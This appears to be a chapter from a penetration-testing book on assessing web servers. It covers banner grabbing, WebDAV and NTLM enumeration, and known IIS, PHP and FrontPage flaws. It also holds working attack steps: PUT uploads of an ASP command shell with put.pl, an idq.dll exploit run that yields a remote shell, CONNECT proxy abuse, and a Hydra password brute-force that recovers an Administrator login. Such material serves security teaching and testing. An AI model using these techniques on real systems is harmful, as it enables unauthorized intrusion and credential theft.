In Example 6-1, I use Telnet to connect to port 80 of www.trustmatta.com and issue a HEAD / HTTP/1.0 request (followed by two carriage returns).

$ telnet www.trustmatta.com 80
Trying 62.232.8.1...
Connected to www.trustmatta.com.
Escape character is '^]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 26 May 2003 14:28:50 GMT
Server: Apache/1.3.27 (Unix) Debian GNU/Linux PHP/4.3.2
Connection: close
Content-Type: text/html; charset=iso-8859-1

I learn that the server is running Apache 1.3.27 on a Debian Linux server along with PHP 4.3.2. Example 6-2 shows the same HEAD request issued against www.nasdaq.com using Telnet.

$ telnet www.nasdaq.com 80
Trying 208.249.117.71...
Connected to www.nasdaq.com.
Escape character is '^]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Connection: close
Date: Mon, 26 May 2003 14:25:10 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: public
Expires: Mon, 26 May 2003 14:25:46 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 64223

Here I learn that the NASDAQ web server runs on IIS 6.0, the web server packaged with Windows Server 2003. Note that even if the Server: information field is modified, I can differentiate between Apache and IIS web servers because of differences in the formatting of the other fields presented.

Example 6-3 shows that internal IP address information is often found when querying IIS 4.0 servers.

$ telnet www.ebay.com 80
Trying 66.135.208.88...
Connected to www.ebay.com.
Escape character is '^]'.
HEAD / HTTP/1.0

HTTP/1.0 200 OK
Age: 44
Accept-Ranges: bytes
Date: Mon, 26 May 2003 16:10:00 GMT
Content-Length: 47851
Content-Type: text/html
Server: Microsoft-IIS/4.0
Content-Location: http://10.8.35.99/index.html
Last-Modified: Mon, 26 May 2003 16:01:40 GMT
ETag: "04af217a023c31:12517"
Via: 1.1 cache16 (NetCache NetApp/5.2.1R3)

Since I know the internal IP address of this host, I can perform DNS querying against internal IP ranges (see "Reverse DNS Querying" in Chapter 5) and even launch spoofing and proxy scanning attacks in poorly protected environments. Microsoft KB 218180 (http://support.microsoft.com/kb/218180) describes workarounds for this exposure.

A second method you can use to ascertain the web server type and version is to issue an HTTP OPTIONS request. In a similar way to issuing a HEAD request, I use Telnet to connect to the web server and issue OPTIONS / HTTP/1.0 (followed by two carriage returns), as shown in Example 6-4.

$ telnet www.trustmatta.com 80
Trying 62.232.8.1...
Connected to www.trustmatta.com.
Escape character is '^]'.
OPTIONS / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 26 May 2003 14:29:55 GMT
Server: Apache/1.3.27 (Unix) Debian GNU/Linux PHP/4.3.2
Content-Length: 0
Allow: GET, HEAD, OPTIONS, TRACE
Connection: close

Again, the Apache web server responds with minimal information, simply defining the HTTP methods that are permitted for the specific file or directory (the web root in this example). Microsoft IIS, on the other hand, responds with a handful of extra fields (including Public: and X-Powered-By:), as shown in Example 6-5.

$ telnet www.nasdaq.com 80
Trying 208.249.117.71...
Connected to www.nasdaq.com.
Escape character is '^]'.
OPTIONS / HTTP/1.0

HTTP/1.1 200 OK
Allow: OPTIONS, TRACE, GET, HEAD
Content-Length: 0
Server: Microsoft-IIS/6.0
Public: OPTIONS, TRACE, GET, HEAD, POST
X-Powered-By: ASP.NET
Date: Mon, 26 May 2003 14:39:58 GMT
Connection: close

To manually query SSL-wrapped web servers (typically found running on port 443), you must use first establish an SSL tunnel, then issue the HTTP requests to the web service. stunnel (available from http://www.stunnel.org) can be run from Unix and Windows systems to establish the SSL connection to the remote server, while listening locally for incoming plaintext connections (established using Telnet or Netcat).

Here’s a simple stunnel.conf file that creates an SSL tunnel to secure.example.com:443 and listens for plaintext traffic on the local port 80:

client=yes
verify=0
[psuedo-https]
accept  = 80
connect = secure.example.com:443
TIMEOUTclose = 0

After creating this configuration file in the same directory as the executable, simply run stunnel (which runs in the system tray in Windows or forks into background under Unix) and connect to 127.0.0.1 on port 80, as shown in Example 6-6. The program negotiates the SSL connection and allows the user to query the target web service through the tunnel.

$ telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 26 May 2003 16:14:29 GMT
Content-type: text/html
Last-modified: Mon, 19 May 2003 10:32:56 GMT
Content-length: 5437
Accept-ranges: bytes
Connection: close

httprint (http://net-square.com/httprint) is available for Windows, Mac OS X, Linux, and FreeBSD platforms. It relies on web server characteristics to accurately identify web servers, despite the fact that they may have been obfuscated by changing the server banner strings or by server-side plug-ins such as mod_security or ServerMask. httprint can also be used to detect web-enabled devices that do not have a server banner string, such as wireless access points, routers, and switches. httprint uses text signature strings, and it is very easy to add signatures to the signature database.

The logic and fingerprinting mechanism used by httprint is comprehensively discussed in Saumil Shah’s “An Introduction to HTTP fingerprinting” white paper, available online from http://net-square.com/httprint/httprint_paper.html.

Figure 6-1 shows a screenshot of the current httprint release (build 301 beta), used to fingerprint publicly accessible web servers.

Figure 6-1. httprint used to fingerprint multiple web servers

Basic web server functionality includes support for HTTP 1.0. HTTP methods supported by HTTP 1.0 are outlined in RFC 1945, and are listed here with high-level descriptions:

In general, these HTTP methods are not susceptible nowadays to process manipulation attack or other buffer overflow vulnerabilities, as they are mature in most web server packages. We are far more interested in abusing methods supported by HTTP 1.1 web servers, along with WebDAV and RPC over HTTP methods.

HTTP 1.1 web servers support the standard HTTP 1.0 methods (GET, POST, and HEAD), along with five additional methods, as listed in RFC 2616, and summarized here:

These methods are far more interesting from a security perspective, as they allow attackers to modify server-side content and proxy connections to specific hosts. Specific attacks against these HTTP 1.1 methods are discussed later in this chapter.

WebDAV is supported by default in Microsoft IIS 5.0. Other web servers, including Apache, can also be configured to support WebDAV. It provides functionality to create, change, and move documents on a remote server through an extended set of HTTP methods.

Support for WebDAV HTTP methods is reasonably straightforward to identify. You can issue an HTTP OPTIONS request to the server for each virtual host and web site to enumerate sites that support WebDAV methods.

Basic WebDAV methods are described in RFC 2518. A summary of these methods and their applications is as follows (taken from http://en.wikipedia.org/wiki/webdav):

Microsoft, Adobe, and other companies have developed proprietary HTTP and WebDAV methods, including SEARCH, RPC_CONNECT, CHECKIN, and CHECKOUT. Proprietary Microsoft methods are covered later in this chapter, and Adobe and other extensions are out of scope.

Example 6-15 shows an Apache 2.0.54 server with support for the seven basic WebDAV methods, along with standard HTTP 1.1 methods.

$ telnet test.webdav.org 80
Trying 140.211.166.111...
Connected to www.webdav.org.
Escape character is '^]'.
OPTIONS / HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 03 Jul 2007 05:29:39 GMT
Server: Apache/2.0.54 (Debian GNU/Linux) DAV/2 SVN/1.3.2
DAV: 1,2
DAV: <http://apache.org/dav/propset/fs/1>
MS-Author-Via: DAV
Allow: OPTIONS,GET,HEAD,POST,DELETE,TRACE,PROPFIND,PROPPATCH,COPY,MOVE,LOCK,UNLOCK
Content-Length: 0
Connection: close
Content-Type: httpd/unix-directory

Microsoft has added a number of its own proprietary WebDAV methods to the seven standard methods. Microsoft IIS web servers and Exchange components used for OWA and other HTTP-based management of email support a number of extra methods. These additional methods are detailed later in this chapter, under the heading "Microsoft proprietary WebDAV extensions.”

PHP is a powerful scripting language, and interpreters are often used server-side on Microsoft IIS and Apache systems to support PHP functionality.

The PHP subsystem is straightforward to identify on web servers that process HEAD or OPTIONS requests by looking for “PHP” in the Server: and X-Powered-By: response fields, or PHPSESSID in the Set-Cookie: field. The following example shows an Apache server with PHP 4.3.2 installed:

$ telnet www.trustmatta.com 80
Trying 62.232.8.1...
Connected to www.trustmatta.com.
Escape character is '^]'.
OPTIONS / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 26 May 2003 14:29:55 GMT
Server: Apache/1.3.27 (Unix) Debian GNU/Linux PHP/4.3.2
Content-Length: 0
Allow: GET, HEAD, OPTIONS, TRACE
Connection: close

A Microsoft IIS 6.0 web server running PHP 4.4.4 looks something like this:

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: PHP/4.4.4
Set-Cookie: PHPSESSID=39597830998759842bffa3badedf4389; path=/
Date: Tue, 03 Jul 2007 10:06:15 GMT
Connection: close

If PHP processor information isn’t available from responses to HEAD or OPTIONS queries, an attacker may find accessible files on the web server with PHP (.php) file extensions. Most public PHP exploit scripts require that the user define an accessible file so that a malformed argument can be processed.

Two standard HTTP authentication mechanisms supported by virtually all web servers are Basic and Digest. These mechanisms are detailed in RFC 2617 in particular, but they are also covered in HTTP 1.0 and HTTP 1.1 specifications in some detail.

At a high level, Basic authentication is very weak, as user credentials are base-64 encoded and sent in plaintext to the server, which is easily compromised by performing passive network sniffing. The Digest mechanism was designed to overcome this, and user credentials are not sent in plaintext (they are in fact protected using MD5), although the mechanism is still vulnerable to man-in-the-middle (MITM) and other active session hijacking attacks.

To enumerate support for these authentication mechanisms, we must request protected pages or locations server-side. Upon requesting protected content, a 401 Authorization Required message is returned, with either Basic or Digest details after the WWW-Authenticate: field.

This server requires Basic authorization to access content:

HTTP/1.1 401 Authorization Required
Date: Sat, 20 Oct 2001 19:28:06 GMT
Server: Apache/1.3.19 (Unix)
WWW-Authenticate: Basic realm="File Download Authorization"
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

This server requires Digest authorization to access the Tomcat Manager component server-side:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest
        realm="Tomcat Manager",
        qop="auth,auth-int",
        nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
        opaque="5ccc069c403ebaf9f0171e9517f40e41"

The realm field is a label referring to the area or protected subsystem, but it sometimes reveals the server name or internal IP address (usually the case for Windows IIS web servers), as shown here:

HTTP/1.1 401 Access Denied
WWW-Authenticate: Basic realm="192.168.42.2"
Content-Length: 644
Content-Type: text/html

Web vulnerability scanning tools, such as Nikto (http://www.cirt.net) and N-Stalker (http://www.nstalker.com) can be used to automatically scan for directories and files that require authentication. These can then be investigated manually and attacked using brute-force password grinding tools (such as THC Hydra).

Older Microsoft IIS 3.0 and 4.0 web servers have a plethora of ASP sample scripts and tools that showcase the capabilities of the web server. The following scripts can be used to upload files to the web server, issue database queries, perform brute-force password grinding, or to compromise sensitive data and files for later use:

If the web server has been upgraded from IIS 3.0 or 4.0, these files will sometimes persist, and so it is important to check for the presence of these components against any Microsoft IIS web server.

An example of the aexp3.htr password management script is provided in Figure 6-3.

Figure 6-3. HTR scripts provide password management access

Web vulnerability scanning tools, such as Nikto and N-Stalker, can be used to scan automatically for the aforementioned administrative scripts. When hardening any IIS web server, it is imperative to remove the following:

All Microsoft IIS web servers support Active Server Pages (ASP) by default, and web servers running IIS 5.0 and later are often found running .NET framework components. Many ASP.NET installations set up an aspnet_client directory under the webroot, which provides .NET framework version details in the /aspnet_client/system_web/ subdirectory. If ASP.NET pages are in use (using .aspx file extensions as opposed to .asp), H D Moore’s dnascan.pl utility can be used to enumerate details of the ASP.NET subsystem and its configuration (http://examples.oreilly.com/networksa/tools/dnascan.pl.gz).

Example 6-16 shows the tool identifying the version of ASP.NET running on www.patchadvisor.com as 1.1.4322.573.

$ ./dnascan.pl http://www.patchadvisor.com
[*] Sending initial probe request...
[*] Recieved a redirect response to /Home/Default.aspx...
[*] Testing the View State...
[*] Sending path discovery request...
[*] Sending application trace request...

[ .NET Configuration Analysis ]

       Server   -> Microsoft-IIS/5.0
   ADNVersion   -> 1.1.4322.573
 CustomErrors   -> Off
     VSPageID   -> 617829138
     AppTrace   -> LocalOnly
 ViewStateMac   -> True
    ViewState   -> 2
  Application   -> /

If ASP.NET debugging options are enabled, the utility shows the local path of the ASPX scripts, as shown in Example 6-17.

$ ./dnascan.pl http://www.example.org
[*] Sending initial probe request...
[*] Sending path discovery request...
[*] Sending application trace request...
[*] Sending null remoter service request...

[ .NET Configuration Analysis ]

       Server   -> Microsoft-IIS/6.0
  Application   -> /home.aspx
     FilePath   -> D:example-webasproot
   ADNVersion   -> 1.0.3705.288

Internet Server Application Programming Interface (ISAPI) provides application support within IIS, through DLLs that are mapped to specific file extensions. Numerous vulnerabilities have been identified in Microsoft ISAPI extensions supported by IIS web servers (such as .printer, .ida, and .htr). A breakdown of file extensions and their associated components within IIS is listed in Table 6-1.

Table 6-2 shows the expected HTTP server response code and body text if an ISAPI extension is enabled server-side on a given Microsoft IIS web server (ASP and ASP.NET enumeration is covered in the previous section).

Microsoft IIS WebDAV extensions. Along with the seven basic WebDAV methods covered in the previous section and outlined in RFC 2518, Microsoft IIS 5.0 (and IIS 6.0 with WebDAV enabled) supports the SEARCH method, which is used to issue server-side search requests using crafted XML queries.

Example 6-18 shows a Microsoft IIS 5.0 server OPTIONS response, listing supported WebDAV methods (including the seven standard WebDAV methods along with SEARCH).

Server: Microsoft-IIS/5.0
Date: Tue, 15 Jul 2003 17:23:26 GMT
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private

Microsoft FrontPage Server Extensions are commonly found running on Microsoft IIS web servers, as many hosting companies running virtual hosts or dedicated web servers provide support so that users can manage their web sites through Microsoft FrontPage (which doesn’t use separate channels such as FTP to upload and manage web content). FrontPage extensions are also (less commonly) found on Unix-based Apache servers.

In particular, existence of the following files and directories disclose the presence of FrontPage server extensions running on a web server:

These files and directories can be found both under the web root (/), and user directories that have FrontPage enabled (such as /~user/ in Apache). We are particularly interested in the accessible DLL files (including author.dll and fp30reg.dll), which provide functionality for users to remotely upload and manage content, and have known process-manipulation vulnerabilities. When FrontPage is installed on non-Microsoft servers (such as Apache), some of the server-side binary files have EXE extensions, as follows:

The /_vti_inf.html file is particularly useful, as it sometimes contains FrontPage deployment information, as follows:

FrontPage Configuration Information
FPVersion="5.0.2.4330"
FPShtmlScriptUrl="_vti_bin/shtml.exe/_vti_rpc"
FPAuthorScriptUrl="_vti_bin/_vti_aut/author.dll"
FPAdminScriptUrl="_vti_bin/_vti_adm/admin.dll"
TPScriptUrl="_vti_bin/owssvr.dll"

The FPVersion string defines the version of FrontPage Server Extensions in use on the target system (3.x is FrontPage 98, 4.x is FrontPage 2000, and 5.x is FrontPage 2002).

The other directories and files listed do not present as much of a risk (other than simple information leak), as they are primary used as static configuration files. Depending on the configuration, the following additional FrontPage files may also be found server-side:

The following PWD files are especially useful, as they contain 56-bit DES password hashes, which can be easily cracked using tools such as John the Ripper (http://www.openwall.com/john/):

Upon compromising a given user password, the credentials can be used to gain FrontPage access and upload files accordingly (such as a malicious ASP script used to trigger a buffer overflow server-side).

When Microsoft Windows Media Services is installed on an IIS 5.0 web server, the following vulnerable DLL is installed server-side:

A significant issue relating to this DLL file is CVE-2003-0349, a remote overflow resulting in arbitrary code execution (MS03-022). Reliable exploits are available for MSF, CORE IMPACT, and Immunity CANVAS.

Microsoft Exchange mail servers are often found running OWA components to facilitate remote HTTP and HTTPS access to user email. Many medium-sized companies favor this approach for remote access because of its simplicity and effectiveness over deployment of VPN and secure remote access solutions. Figure 6-4 shows OWA running from an Exchange 5.5 SP4 server.

Figure 6-4. OWA login screen

By checking for /owa, /exchange, and /mail directories under the web root through both HTTP and HTTPS web services, you can usually identify OWA services. Access to OWA is normally tied into Windows AD domain authentication, so brute-force attacks can be launched using tools such as Brutus or THC Hydra. These tools can compromise valid user passwords, which can then be used by an attacker to gain access to more than just email.

Microsoft Exchange Server 2003 and later support RPC over HTTP, which allows Outlook clients to access email and calendars through HTTP and HTTPS web components. Outlook clients natively use RPC to communicate with Exchange servers, and so RPC over HTTP is just a mechanism that allows for regular Outlook communication through an RPC proxy.

RPC over HTTP is facilitated through the RPC_CONNECT method. If this method is enabled, you should use Todd Sabin’s ifids utility with the ncacn_http command-line flag to enumerate the supported RPC over HTTP interfaces (this is discussed in Chapter 10, in the section "Enumerating Accessible RPC Server Interfaces“).

Along with support for the Basic authentication mechanism as described earlier in this chapter, Microsoft IIS web servers also support the following authentication types:

The NTLM mechanism uses a base64-encoded challenge-response mechanism to authenticate users. Negotiate can proxy either NTLM or Kerberos authentication details between the Security Support Provider (SSP) and the client. Negotiate using NTLM works in the same way as the standard NTLM authentication mechanism.

By issuing crafted NTLM and Negotiate requests, we can get a response from the server (if these authentication mechanisms are supported) that includes the details of the authentication mechanism, the Windows NT hostname and domain, and the Windows AD hostname and domain. Example 6-19 shows a Negotiate directive being sent to the web server and a base64 response being returned. In the case of reverse proxies and complex web farm environments, make sure to use the correct Host: field.

$ telnet 83.142.224.21 80
Trying 83.142.224.21...
Connected to 83.142.224.21.
Escape character is '^]'.
GET / HTTP/1.1
Host: iis-server
Authorization: Negotiate TlRMTVNTUAABAAAAB4IAoAAAAAAAAAAAAAAAAAAAAAA

HTTP/1.1 401 Access Denied
Server: Microsoft-IIS/5.0
Date: Mon, 09 Jul 2007 19:03:51 GMT
WWW-Authenticate: Negotiate TlRMTVNTUAACAAAADgAOADAAAAAFgoGg9IrB7KA92AQAAAAAAAAA
AGAAYAA+AAAAVwBJAEQARwBFAFQAUwACAA4AVwBJAEQARwBFAFQAUwABAAgATQBBAFIAUwAEABYAdwBpAGQA
ZwBlAHQAcwAuAGMAbwBtAAMAIABtAGEAcgBzAC4AdwBpAGQAZwBlAHQAcwAuAGMAbwBtAAAAAAA=
Content-Length: 4033
Content-Type: text/html

Using a base64 decoding tool (whether online through a web browser or locally), the ASCII strings found in the Negotiate response sent back from the server are as follows:

NTLMSSP0
WIDGETS
MARS
widgets.com
mars.widgets.com

This response shows that NTLM is the mechanism proxied through Negotiate and the SSP for authentication, the Windows NT domain name is WIDGETS, the hostname is MARS, and the Active Directory FQDN is mars.widgets.com. This is useful information that can be fed back into DNS testing and other network enumeration processes.

Web vulnerability scanning tools, such as Nikto and N-Stalker, can be used to automatically scan for directories and files that require authentication. These can then be investigated manually and attacked using brute-force password grinding tools such as THC Hydra.

As discussed earlier in this chapter, some web servers and proxy mechanisms in complex environments support the HTTP CONNECT method. Attackers and spammers can abuse the method to establish connections with arbitrary hosts.

To proxy a connection to TCP port 25 of maila.microsoft.com through a vulnerable host, supply the following HTTP CONNECT request (followed by two carriage returns):

$ telnet www.example.org 80
Trying 192.168.0.14...
Connected to 192.168.0.14.
Escape character is '^]'.
CONNECT maila.microsoft.com:25 HTTP/1.0

HTTP/1.0 200 Connection established
220 inet-imc-02.redmond.corp.microsoft.com Microsoft.com ESMTP Server

Depending on configuration, a valid Host: field must sometimes be included in the request to produce a positive response.

If the TRACE method is supported and the web server is running a poorly written application that is vulnerable to cross-site scripting (XSS), a cross-site tracing (XST) attack can be launched to compromise user cookie and session information. If the web server is running a static site with no server-side application or processing of user data, the impact of TRACE support is significantly reduced.

Enhancements to the security of web browsers and clients (such as Internet Explorer 6 SP1 and later) mean that standard XSS attacks are no longer widely effective. XST is an attack class developed by Jeremiah Grossman in 2003 that allows authentication details presented in HTTP headers (including cookies and base64-encoded authentication strings) to be compromised using a combination of XSS, client-side weaknesses, and support for the HTTP TRACE method server-side. Grossman developed the attack class in response to the enhanced security mechanisms introduced by Microsoft in Internet Explorer 6 SP1, which meant that the effectiveness of XSS was significantly reduced.

Papers discussing XST can be found at the following locations:

XST depends on the following to launch an effective remote attack:

Upon finding and seeding an XSS bug within the target web site, we call scripting languages client-side that perform a TRACE to the web server, and then push the output to our malicious server.

Good background information relating to basic XSS attacks can be found at the following locations:

Web servers supporting PUT and DELETE methods can be attacked to upload, modify, and remove content server-side. If permissions are incorrectly set on the web server and its directories, attackers can use these methods to modify content on the server itself.

To identify world-writable directories, attackers assess responses to HTTP PUT requests. Example 6-21 and Example 6-22 show manual permissions assessment of the web root (/) and /scripts directories found on www.example.org. Example 6-21 shows the PUT command used to create /test.txt remotely. This fails, as the web root isn’t world-writable.

$ telnet www.example.org 80
Trying 192.168.189.52...
Connected to www.example.org.
Escape character is '^]'.
PUT /test.txt HTTP/1.1
Host: www.example.org
Content-Length: 16

HTTP/1.1 403 Access Forbidden
Server: Microsoft-IIS/5.0
Date: Wed, 10 Sep 2003 15:33:13 GMT
Connection: close
Content-Length: 495
Content-Type: text/html

Example 6-22 shows how to use the PUT command to create /scripts/test.txt successfully because the /scripts/ directory is world-writable.

$ telnet www.example.org 80
Trying 192.168.189.52...
Connected to www.example.org.
Escape character is '^]'.
PUT /scripts/test.txt HTTP/1.1
Host: www.example.org
Content-Length: 16

HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Jul 2003 12:18:32 GMT
ABCDEFGHIJKLMNOP

HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Jul 2003 12:18:38 GMT
Location: http://www.example.org/scripts/test.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE,
PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

H D Moore wrote a simple Perl script to upload content to web servers; it’s available at http://examples.oreilly.com/networksa/tools/put.pl.

It isn’t possible to know the write permissions that are set for folders on a remote web server. Therefore, put.pl should be used against all known server-side directories that are found to support the PUT method (through analyzing responses to OPTIONS queries). Example 6-23 summarizes the put.pl script usage and options.

$ ./put.pl
 *- --[ ./put.pl v1.0 - H D Moore <[email protected]>

Usage: ./put.pl -h <host> -l <file>
        -h <host>       = host you want to attack
        -r <remote>     = remote file name
        -f <local>      = local file name
        -p <port>       = web server port

Other Options:
        -x              = ssl mode
        -v              = verbose

Example:
        ./put.pl -h target -r /cmdasp.asp -f cmdasp.asp

If you can upload and modify files to a given directory or location server-side, you should also be able to remove content from the given location or directory using the DELETE method.

Most WebDAV methods require valid credentials or misconfigured server permissions to use, as they involve modifying permissions and settings of files and content (known as resources) server-side. Of the seven generic WebDAV methods, PROPFIND is the most useful, as it is publicly accessible in most cases. Table 6-3 lists known issues relating to this method.

Example 6-24 shows PROPFIND being used to obtain internal IP address information from a Microsoft IIS 5.0 web server.

$ telnet www.example.org 80
Trying 83.15.20.14...
Connected to 83.15.20.14.
Escape character is '^]'.
PROPFIND / HTTP/1.0
Content-Length: 0

HTTP/1.1 207 Multi-Status
Server: Microsoft-IIS/5.0
Date: Wed, 18 Jul 2007 14:21:50 GMT
Content-Type: text/xml
Content-Length: 796

<?xml version="1.0"?><a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-
00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"><a:response><a:href>http://192.
168.250.162/
</a:href><a:propstat><a:status>HTTP/1.1 200 OK</a:status><a:prop><a:getcontentlength
b:dt="int">0</a:getcontentlength><a:creationdate b:dt="dateTime.tz">
2004-01-09T17:04:32.281Z</a:creationdate><a:displayname>/</a:displayname><a:getetag>
"e4e31d3fcc9c71:13ad"
</a:getetag><a:getlastmodified b:dt="dateTime.rfc1123">Wed, 18 Jul 2007 07:21:23 GMT<
/a:getlastmodified><a:resourcetype><a:collection/></a:resourcetype><a:supportedlock/><
a:ishidden b:dt="boolean">0</a:ishidden><a:iscollection b:dt="boolean">1</a:
iscollection><a:getcontenttype>application/octet-stream</a:getcontenttype></
a:prop></a:propstat></
a:response></a:multistatus>

Other Microsoft IIS WebDAV methods (such as SEARCH) are vulnerable to attack. Vulnerabilities in these proprietary methods are covered later in this chapter.

Servers that support PHP (identified through checking Server: and X-Powered-By: fields returned by the server from HTTP querying, or through identifying PHP scripts by crawling web sites) are susceptible to a number of known issues, listed in Table 6-4. There are an extremely large number of PHP issues in MITRE CVE at the time of this writing, so I have included the top 15 bugs from this year so far, along with a handful of older serious issues.

A number of these issues are triggered upon accessing specific PHP functions and mechanisms, and so either vulnerable PHP scripts must be identified and the overflow data passed through to the vulnerable backend functions, or specially crafted PHP files must be written, uploaded to the server, and called to trigger the overflow.

CORE IMPACT supports two remotely exploitable bugs: CVE-2004-0594 (PHP 4.3.7 and earlier memory_limit( ) overflow) and CVE-2002-0081 (PHP 4.1.1 php_mime_split( ) overflow). Immunity CANVAS supports CVE-2004-0594 at the time of this writing.

Many PHP applications (including TikiWiki, WordPress, PostNuke, phpBB, phpMyAdmin, and vBulletin) have known weaknesses and vulnerabilities. These components can be identified through active web server scanning using tools such as Nikto and N-Stalker. Upon identifying these packages, investigate known weaknesses by checking the MITRE CVE list (http://cve.mitre.org) for current information. A number of exploits relating to various web applications written in PHP are available from http://www.milw0rm.com. An interesting bug that affects a number of these software packages is CVE-2005-1921, which is supported by MSF.

A significant number of remotely exploitable issues have been uncovered in the IIS 5.0 web server and its associated subsystems and components. The server has a large number of features enabled by default, which makes the surface of vulnerability large. Hardening processes and toolkits, including the Microsoft IIS lockdown and URLscan tools, must be used to improve resilience. IIS 5.1, the web server bundled with Windows XP Professional systems, is also covered in this section.

Table 6-5 lists remotely exploitable issues in IIS 5.0, excluding a number of obsolete issues (from 2001 and earlier). Vulnerabilities in subsystems used within IIS 5.0, such as ISAPI extensions and ASP components, are covered in later sections in this chapter.

At the time of this writing, two issues in Table 6-5 that are supported by MSF, Immunity CANVAS, and CORE IMPACT are CVE-2003-0818 (IIS 5.0 and 5.1 NTLM authentication overflow) and CVE-2003-0719 (Microsoft SSL PCT overflow). As this book is going to print, Dave Aitel notified me that there is also CANVAS support for CVE-2002-0150 and CVE-2005-4360.

A good paper documenting the information leaks relating to CVE-2002-0419 was written by David Litchfield, available from http://www.ngssoftware.com/papers/iisrconfig.pdf.

C:> ispc 192.168.189.10/scripts/idq.dll

Start to connect to the server...
We Got It!
Please Press Some <Return> to Enter Shell...

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1998 Microsoft Corp.

C:WINNTSystem32>

The IIS 6.0 web server itself has a small number of remotely exploitable issues that allow attackers to bypass security restrictions and perform cross-site scripting and information leak attacks. Due to security improvements in IIS 6.0, including URLscan (a filtering mechanism that processes HTTP requests to the server before they are passed to underlying subsystems), a number of older classes of IIS vulnerability do not apply to IIS 6.0.

Table 6-6 lists remotely exploitable issues in IIS 6.0. Vulnerabilities in subsystems used within IIS 6.0, such as ASP and OWA components, are covered in later sections in this chapter.

Practical exploitation of these issues to achieve something interesting or productive is difficult, as it depends on server-side configuration and settings. According to ISS X-Force and other sources, there is no Microsoft vendor patch or solution to CVE-2007-2897 at the time of this writing.

Microsoft ASP and .NET Framework (ASP.NET) subsystems used by Microsoft IIS web servers have a number of known issues. These vulnerabilities are similar to PHP in that exposed functions and components of ASP are sometimes exploitable by crafting ASP scripts server-side and then calling them to exploit the vulnerabilities.

A very useful presentation by H D Moore regarding .NET framework testing, including ASP.NET probing and assessment can be found online at http://www.metasploit.com/users/hdm/confs/core02/slides.

Known vulnerabilities in ASP and ASP.NET subsystems are listed in Table 6-7, along with details of supported exploit frameworks. Immunity CANVAS and MSF have no support for these ASP overflows at this time, and so I list the issues supported by CORE IMPACT and the Argeniss ultimate 0day exploits pack for Immunity CANVAS.

Public exploit archives have copies of exploits for two vulnerabilities listed in Table 6-7, as follows:

Along with support for CVE-2006-0026, the Argeniss ultimate 0day exploits pack has a zero-day local privilege escalation exploit for ASP under IIS 6.0, described in the pack documentation as follows:

Name: IISRoot
Description: [0day] IIS remote elevation of privileges
Versions affected: IIS 6
Platform: Windows
Details: elevation of privileges vulnerability, needs default settings and to be
able to upload .asp or .aspx page to run .exe exploit.

Numerous issues have been identified in Microsoft ISAPI extensions under IIS 4.0 and 5.0 (IIS 6.0 has request filtering functionality built in and most features such as ISAPI extensions are disabled by default). Remotely exploitable issues in ISAPI extensions are listed in Table 6-8 along with details of support in CORE IMPACT, Immunity CANVAS, and MSF. Investigation of the bugs, using references from MITRE CVE and other sites, provides examples of the information leak vulnerabilities and other peripheral issues listed here.

There are three known issues relating to WebDAV methods used within Microsoft IIS 5.0 servers. These issues are listed in Table 6-9.

In terms of reliable exploits, MSF, CORE IMPACT, and Immunity CANVAS all support CVE-2003-0109. A number of publicly available exploits can also be found for the bug. The bug detailed in CVE-2000-0951 is discussed at http://www.xatrix.org/advisory.php?s=6468.

FrontPage components have a number of known issues, ranging from information leaks to remote arbitrary code execution. I will list known issues and CVE references shortly, but before I do, I will first discuss two simple issues having to do with testing FrontPage authentication.

Upon calling Microsoft FrontPage authoring and administrative utilities (such as /_vti_bin/_vti_aut/author.dll), a user will be presented with an authentication prompt, as shown in Example 6-26.

$ telnet www.example.org 80
Trying 192.168.0.15...
Connected to www.example.org.
Escape character is '^]'.
HEAD /_vti_bin/_vti_aut/author.dll HTTP/1.1
Host: www.example.org

HTTP/1.1 401 Access denied
Server: Microsoft-IIS/5.0
Date: Sun, 15 Jul 2007 20:10:18 GMT
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
WWW-Authenticate: Basic realm="www.example.org"
Content-Length: 0

The server response indicates that we can authenticate using Negotiate, NTLM, or Basic mechanisms. Attackers can perform brute-force password grinding against the web server, using THC Hydra, to compromise user passwords through Basic authentication, as shown in Example 6-27.

$ hydra -L users.txt -P words.txt www.example.org http-head /_vti_bin/_vti_
aut/author.dll
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2007-07-04 18:15:17
[DATA] 16 tasks, 1 servers, 1638 login tries (l:2/p:819), ~102 tries per task
[DATA] attacking service http-head on port 80
[STATUS] 792.00 tries/min, 792 tries in 00:01h, 846 todo in 00:02h
[80][www] host: 192.168.0.15  login: Administrator   password: password

